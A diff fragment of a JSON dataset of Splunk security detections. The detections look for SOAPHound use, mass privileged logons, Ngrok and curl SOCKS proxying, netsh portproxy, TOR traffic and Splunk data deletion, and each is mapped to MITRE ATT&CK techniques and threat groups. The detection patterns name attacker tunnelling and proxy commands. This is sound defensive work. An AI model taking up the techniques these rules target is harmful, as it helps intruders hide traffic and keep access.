Processes.process_path Processes.process_integrity_level Processes.parent_process Processes.parent_process_path Processes.parent_process_guid Processes.parent_process_id Processes.process_guid Processes.process_id Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_soaphound_binary_execution_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "process_name", - "type": "Process", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The process $process_name$ was executed on $dest$ related to SOAPHound.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Windows Special Privileged Logon On Multiple Hosts", - "description": "The following analytic detects a user authenticating with special privileges on 30 or more remote endpoints within a 5-minute window. It leverages Event ID 4672 from Windows Security logs to identify this behavior. This activity is significant as it may indicate lateral movement or remote code execution by an adversary. If confirmed malicious, the attacker could gain extensive control over the network, potentially leading to privilege escalation, data exfiltration, or further compromise of the environment. Security teams should adjust detection thresholds based on their specific environment.", - "search": " `wineventlog_security` EventCode=4672 AND NOT(Caller_User_Name IN (\"DWM-1\",\"DWM-2\",\"DWM-3\",\"LOCAL SERVICE\",\"NETWORK SERVICE\",\"SYSTEM\",\"*$\")) | bucket span=5m _time | stats dc(Computer) AS unique_targets values(Computer) as dest values(PrivilegeList) as privileges by _time, Caller_User_Name | rename Caller_User_Name as user| where unique_targets > 30 | `windows_special_privileged_logon_on_multiple_hosts_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user $user$ obtained special privileges on a large number of endpoints (Count: $unique_targets$) within 5 minutes.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1135", - "mitre_attack_technique": "Network Share Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT32", - "APT38", - "APT39", - "APT41", - "Chimera", - "DarkVishnya", - "Dragonfly", - "FIN13", - "Sowbug", - "Tonto Team", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Suspect Process With Authentication Traffic", - "description": "The following analytic detects executables running from public or temporary locations that are communicating over Windows domain authentication ports/protocols such as LDAP (389), LDAPS (636), and Kerberos (88). It leverages network traffic data to identify processes originating from user-controlled directories. This activity is significant because legitimate applications rarely run from these locations and attempt domain authentication, making it a potential indicator of compromise. If confirmed malicious, attackers could leverage this to access domain resources, potentially leading to further exploitation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.process_id) as process_id from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port IN (\"88\",\"389\",\"636\") AND All_Traffic.app IN (\"*\\\\users\\\\*\", \"*\\\\programdata\\\\*\", \"*\\\\temp\\\\*\", \"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\appdata\\\\*\", \"*\\\\perflogs\\\\*\") by All_Traffic.app,All_Traffic.src,All_Traffic.src_ip,All_Traffic.user,All_Traffic.dest,All_Traffic.dest_ip,All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rex field=app \".*\\\\\\(?.*)$\" | rename app as process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_suspect_process_with_authentication_traffic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "The process $process_name$ on $src$ has been communicating with $dest$ on $dest_port$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -400832,665 +280570,7 @@ "Event ID": null, "Event Name": "Packet capture" } - ], - { - "name": "Linux Ngrok Reverse Proxy Usage", - "description": "The following analytic detects the use of Ngrok on a Linux operating system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments associated with Ngrok. This activity is significant because Ngrok can be used by adversaries to establish reverse proxies, potentially bypassing network defenses. If confirmed malicious, this could allow attackers to create persistent, unauthorized access channels, facilitating data exfiltration or further exploitation of the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=ngrok Processes.process IN (\"*start*\", \"*--config*\",\"*http*\",\"*authtoken*\", \"*http*\", \"*tcp*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_ngrok_reverse_proxy_usage_filter`", - "tags": { - "analytic_story": [ - "Reverse Network Proxy" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A reverse proxy was identified spawning from $parent_process_name$ - $process_name$ on endpoint $dest$ by user $user$.", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1102", - "mitre_attack_technique": "Web Service", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "Ember Bear", - "FIN6", - "FIN8", - "Fox Kitten", - "Gamaredon Group", - "Inception", - "LazyScripter", - "Mustang Panda", - "Rocke", - "TeamTNT", - "Turla" - ] - } - ] - } - }, - { - "name": "Linux Proxy Socks Curl", - "description": "The following analytic detects the use of the `curl` command with proxy-related arguments such as `-x`, `socks`, `--preproxy`, and `--proxy`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it may indicate an adversary attempting to use a proxy to evade network monitoring and obscure their actions. If confirmed malicious, this behavior could allow attackers to bypass security controls, making it difficult to track their activities and potentially leading to unauthorized data access or exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=curl Processes.process IN (\"*-x *\", \"*socks4a://*\", \"*socks5h://*\", \"*socks4://*\",\"*socks5://*\", \"*--preproxy *\", \"--proxy*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_proxy_socks_curl_filter`", - "tags": { - "analytic_story": [ - "Ingress Tool Transfer", - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ by user $user$ utilizing a proxy. Review activity for further details.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1095", - "mitre_attack_technique": "Non-Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT3", - "BITTER", - "BackdoorDiplomacy", - "FIN6", - "HAFNIUM", - "Metador", - "PLATINUM", - "ToddyCat" - ] - } - ] - } - }, - { - "name": "Windows Ngrok Reverse Proxy Usage", - "description": "The following analytic detects the execution of ngrok.exe on a Windows operating system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because while ngrok is a legitimate tool for creating secure tunnels, it is increasingly used by adversaries to bypass network defenses and establish reverse proxies. If confirmed malicious, this could allow attackers to exfiltrate data, maintain persistence, or facilitate further attacks by tunneling traffic through the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=ngrok.exe Processes.process IN (\"*start*\", \"*--config*\",\"*http*\",\"*authtoken*\", \"*http*\", \"*tcp*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_ngrok_reverse_proxy_usage_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Reverse Network Proxy" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A reverse proxy was identified spawning from $parent_process_name$ - $process_name$ on endpoint $dest$ by user $user$.", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1102", - "mitre_attack_technique": "Web Service", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "Ember Bear", - "FIN6", - "FIN8", - "Fox Kitten", - "Gamaredon Group", - "Inception", - "LazyScripter", - "Mustang Panda", - "Rocke", - "TeamTNT", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Proxy Via Netsh", - "description": "The following analytic identifies the use of netsh.exe to configure a connection proxy, which can be leveraged for persistence by executing a helper DLL. It detects this activity by analyzing process creation events from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"portproxy\" and \"v4tov4\" parameters. This activity is significant because it indicates potential unauthorized network configuration changes, which could be used to maintain persistence or redirect network traffic. If confirmed malicious, this could allow an attacker to maintain covert access or manipulate network communications, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` Processes.process = \"* portproxy *\" Processes.process = \"* v4tov4 *\" by Processes.parent_process_name Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.user Processes.dest |`drop_dm_object_name(\"Processes\")` |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `windows_proxy_via_netsh_filter`", - "tags": { - "analytic_story": [ - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ has launched netsh with command-line $process$ on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1090.001", - "mitre_attack_technique": "Internal Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT39", - "FIN13", - "Higaisa", - "Lazarus Group", - "Strider", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Proxy Via Registry", - "description": "The following analytic detects the modification of registry keys related to the Windows Proxy settings via netsh.exe. It leverages data from the Endpoint.Registry data model, focusing on changes to the registry path \"*\\\\System\\\\CurrentControlSet\\\\Services\\\\PortProxy\\\\v4tov4\\\\tcp*\". This activity is significant because netsh.exe can be used to establish a persistent proxy, potentially allowing an attacker to execute a helper DLL whenever netsh.exe runs. If confirmed malicious, this could enable the attacker to maintain persistence, manipulate network configurations, and potentially exfiltrate data or further compromise the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path =\"*\\\\System\\\\CurrentControlSet\\\\Services\\\\PortProxy\\\\v4tov4\\\\tcp*\" by Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.action Registry.dest Registry.user | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `windows_proxy_via_registry_filter`", - "tags": { - "analytic_story": [ - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification for port proxy in$dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1090.001", - "mitre_attack_technique": "Internal Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT39", - "FIN13", - "Higaisa", - "Lazarus Group", - "Strider", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - } - ] - } - }, - { - "name": "Ngrok Reverse Proxy on Network", - "description": "The following analytic detects DNS queries to common Ngrok domains, indicating potential use of the Ngrok reverse proxy tool. It leverages the Network Resolution datamodel to identify queries to domains such as \"*.ngrok.com\" and \"*.ngrok.io\". While Ngrok usage is not inherently malicious, it has been increasingly adopted by adversaries for covert communication and data exfiltration. If confirmed malicious, this activity could allow attackers to bypass network defenses, establish persistent connections, and exfiltrate sensitive data, posing a significant threat to the network's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Resolution where DNS.query IN (\"*.ngrok.com\",\"*.ngrok.io\", \"ngrok.*.tunnel.com\", \"korgn.*.lennut.com\") by DNS.src DNS.query DNS.answer | `drop_dm_object_name(\"DNS\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ngrok_reverse_proxy_on_network_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Reverse Network Proxy" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An endpoint, $src$, is beaconing out to the reverse proxy service of Ngrok.", - "risk_score": 50, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1102", - "mitre_attack_technique": "Web Service", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "Ember Bear", - "FIN6", - "FIN8", - "Fox Kitten", - "Gamaredon Group", - "Inception", - "LazyScripter", - "Mustang Panda", - "Rocke", - "TeamTNT", - "Turla" - ] - } - ] - } - }, - { - "name": "TOR Traffic", - "description": "The following analytic identifies allowed network traffic to The Onion Router (TOR), an anonymity network often exploited for malicious activities. It leverages data from Next Generation Firewalls, using the Network_Traffic data model to detect traffic where the application is TOR and the action is allowed. This activity is significant as TOR can be used to bypass conventional monitoring, facilitating hacking, data breaches, and illicit content dissemination. If confirmed malicious, this could lead to unauthorized access, data exfiltration, and severe compliance violations, compromising the integrity and security of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.app=tor AND All_Traffic.action=allowed by All_Traffic.src_ip All_Traffic.dest_ip All_Traffic.dest_port All_Traffic.action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `tor_traffic_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "NOBELIUM Group", - "Prohibited Traffic Allowed or Protocol Mismatch", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious network traffic allowed using TOR has been detected from $src_ip$ to $dest_ip$", - "risk_score": 80, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1090.003", - "mitre_attack_technique": "Multi-hop Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "FIN4", - "Inception", - "Leviathan" - ] - } - ] - } - } + ] ], "external_reference": [ "https://attack.mitre.org/software/S0246/ (Lazarus HARDRAIN)", @@ -402777,8994 +281857,7 @@ "Event ID": "4688", "Event Name": "Process Execution" } - ], - { - "name": "Detect Risky SPL using Pretrained ML Model", - "description": "The following analytic identifies potentially risky SPL commands executed by users. It leverages a pretrained machine learning text classifier that analyzes command text, user, and search type to assign a risk score between 0 and 1. This detection is significant as it helps identify suspicious or unauthorized search activities that could indicate malicious intent or misuse of the Splunk environment. If confirmed malicious, such activity could lead to unauthorized data access, data exfiltration, or further exploitation of the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Splunk_Audit.Search_Activity where Search_Activity.search_type=adhoc Search_Activity.user!=splunk-system-user by Search_Activity.search Search_Activity.user Search_Activity.search_type | eval spl_text = 'Search_Activity.search'. \" \" .'Search_Activity.user'. \" \" .'Search_Activity.search_type'| dedup spl_text | apply risky_spl_pre_trained_model | where risk_score > 0.5 | `drop_dm_object_name(Search_Activity)` | table search, user, search_type, risk_score | `detect_risky_spl_using_pretrained_ml_model_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A potentially risky Splunk command has been run by $user$, kindly review.", - "risk_score": 20, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Splunk Command and Scripting Interpreter Delete Usage", - "description": "The following analytic detects the use of the 'delete' command in Splunk, which can be used to remove queried data. This detection leverages the Splunk Audit data model, specifically monitoring ad-hoc searches containing the 'delete' command by non-system users. This activity is significant because the 'delete' command is rarely used and can indicate potential data tampering or unauthorized data removal. If confirmed malicious, this activity could lead to the loss of critical log data, hindering incident investigations and compromising the integrity of the monitoring environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Splunk_Audit.Search_Activity where Search_Activity.search IN (\"*| delete*\") Search_Activity.search_type=adhoc Search_Activity.user!=splunk-system-user by Search_Activity.search Search_Activity.info Search_Activity.total_run_time Search_Activity.user Search_Activity.search_type | `drop_dm_object_name(Search_Activity)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_command_and_scripting_interpreter_delete_usage_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" 